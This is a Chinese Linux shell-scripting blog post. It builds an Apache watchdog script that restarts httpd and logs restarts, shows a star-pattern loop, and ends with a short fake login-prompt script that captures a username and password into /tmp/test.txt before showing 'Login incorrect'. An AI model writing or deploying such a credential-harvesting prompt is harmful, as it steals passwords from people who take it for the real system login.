apache服务监控脚本-----自动重启apache

[root@localhost shell]# vi apache_monitor.sh 
#!/bin/bash
while [ 1 ]
do
        wget http://127.0.0.1/a.html > /dev/null 2>&1
        if [ $? -ne 0 ]
        then
                service apache restart >/dev/null 2>&1
        else
                wt=`cat a.html`
                if [ $wt != 'OK' ]
                then
                        service apache restart > /dev/null 2>&1
                fi
        fi
sleep 2
done


[root@localhost shell]# cat /www/a.html 

OK

[root@localhost ~]# lsof -i:80
COMMAND   PID   USER   FD   TYPE DEVICE SIZE NODE NAME
httpd   32105   root    3u  IPv4 409340       TCP *:http (LISTEN)
httpd   32109 daemon    3u  IPv4 409340       TCP *:http (LISTEN)
httpd   32111 daemon    3u  IPv4 409340       TCP *:http (LISTEN)
httpd   32113 daemon    3u  IPv4 409340       TCP *:http (LISTEN)
[root@localhost ~]# killall httpd
[root@localhost ~]# lsof -i:80
[root@localhost ~]# lsof -i:80   在我杀死httpd进程的大概一两秒时间内,apache服务没有起来,但是很快就可以了,

如果是在实际生产中,可以把脚本中的sleep时间改成1.
COMMAND PID USER   FD   TYPE DEVICE SIZE NODE NAME
httpd   618 root    3u  IPv4 411612       TCP *:http (LISTEN)
[root@localhost ~]# lsof -i:80
COMMAND PID   USER   FD   TYPE DEVICE SIZE NODE NAME
httpd   618   root    3u  IPv4 411612       TCP *:http (LISTEN)
httpd   623 daemon    3u  IPv4 411612       TCP *:http (LISTEN)
httpd   625 daemon    3u  IPv4 411612       TCP *:http (LISTEN)
httpd   627 daemon    3u  IPv4 411612       TCP *:http (LISTEN)

[root@localhost ~]# cd /shell/
[root@localhost shell]# ls
access.log  a.html.176  a.html.254  a.html.332  a.html.410
a.html      a.html.177  a.html.255  a.html.333  a.html.411
a.html.1    a.html.178  a.html.256  a.html.334  a.html.412
a.html.10   a.html.179  a.html.257  a.html.335  a.html.413
a.html.100  a.html.18   a.html.258  a.html.336  a.html.414
a.html.101  a.html.180  a.html.259  a.html.337  a.html.415
a.html.102  a.html.181  a.html.26   a.html.338  a.html.416
a.html.103  a.html.182  a.html.260  a.html.339  a.html.417
a.html.104  a.html.183  a.html.261  a.html.34   a.html.418
a.html.105  a.html.184  a.html.262  a.html.340  a.html.419

a.html.106  a.html.………………

我擦,发现爆表了,忘记了,脚本还没有完善,需要把这东西全干掉

而且我还想要记录apache的重启时间和次数,所以还需要更改脚本

#!/bin/bash
while [ 1 ]
do
        wget http://127.0.0.1/a.html > /dev/null 2>&1
        if [ $? -ne 0 ]
        then
                service apache restart >/dev/null 2>&1
                        echo "apache restart at `date +%y-%m-%d\ %H:%M:%S`" >> times.txt
        else
                wt=`cat a.html`
                if [ $wt != 'OK' ]
                then
                        service apache restart > /dev/null 2>&1
                        echo "apache restart at `date +%y-%m-%d\ %H:%M:%S`" >> times.txt
                fi
        fi
rm -rf a.html
sleep 2
done


然后我开始做测试

[root@localhost shell]# cat times.txt 
[root@localhost shell]# killall httpd
[root@localhost shell]# cat times.txt 
[root@localhost shell]# cat times.txt 
apache restart at 13-10-15 17:47:27
[root@localhost shell]# killall httpd
[root@localhost shell]# cat times.txt 
apache restart at 13-10-15 17:47:27
apache restart at 13-10-15 17:47:40

然后我去改a.html的内容

[root@localhost www]# cat a.html 
OKiii   ----------内容不是OK后,脚本两秒钟自动重新下载一次


[root@localhost shell]# tail -f times.txt 
apache restart at 13-10-15 17:47:27
apache restart at 13-10-15 17:47:40
apache restart at 13-10-15 17:48:18
apache restart at 13-10-15 17:48:20
apache restart at 13-10-15 17:48:22
apache restart at 13-10-15 17:48:24
apache restart at 13-10-15 17:48:26
apache restart at 13-10-15 17:48:28
apache restart at 13-10-15 17:48:30
apache restart at 13-10-15 17:48:32
apache restart at 13-10-15 17:48:34
apache restart at 13-10-15 17:48:37
apache restart at 13-10-15 17:48:39
apache restart at 13-10-15 17:48:41
apache restart at 13-10-15 17:48:43
apache restart at 13-10-15 17:48:45
apache restart at 13-10-15 17:48:47
apache restart at 13-10-15 17:48:49
apache restart at 13-10-15 17:48:51


[root@localhost shell]# 

当我改回来后,脚本停止日志输出,想要知道apache重启了多少次

[root@localhost shell]# wc -l times.txt | cut -d" " -f1
19

####################################################

顺便写了几个简单的脚本,觉得很有意思

#!/bin/bash
a=1
b=5
while [ $a -le $b ]
do
        c=1
        while [ $c -le $a ]
        do
                echo -n  \*
                let c++
        done
        let a++
        echo 
done

[root@localhost shell]# ./1.sh 
*
**
***
****
*****

写一个简单的脚本,来套取别人的账号密码

#!/bin/bash
clear
cat  /etc/issue| head  -1
echo -e  `uname  -r` "on  an"  `uname  -m`
echo -e -n  `hostname  | cut  -d . -f1` "login:"
read  aa
echo "passwd:"
read -s bb
echo -n "username:$aa   password:$bb" >/tmp/test.txt
sleep 3
echo  -e "\n"
echo "Login incorrect"
pid=` ps aux | grep 2.sh | grep bash | awk '{print $2}'`
kill -9 $pid 

运行效果如下

Red Hat Enterprise Linux Server release 5.5 (Tikanga)
2.6.18-194.el5 on  an i686
localhost login:



[root@localhost ~]# cat /tmp/test.txt 
username:root   password:asdf

呵呵只是小大小闹,真正想套取别人的密码还做不到。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值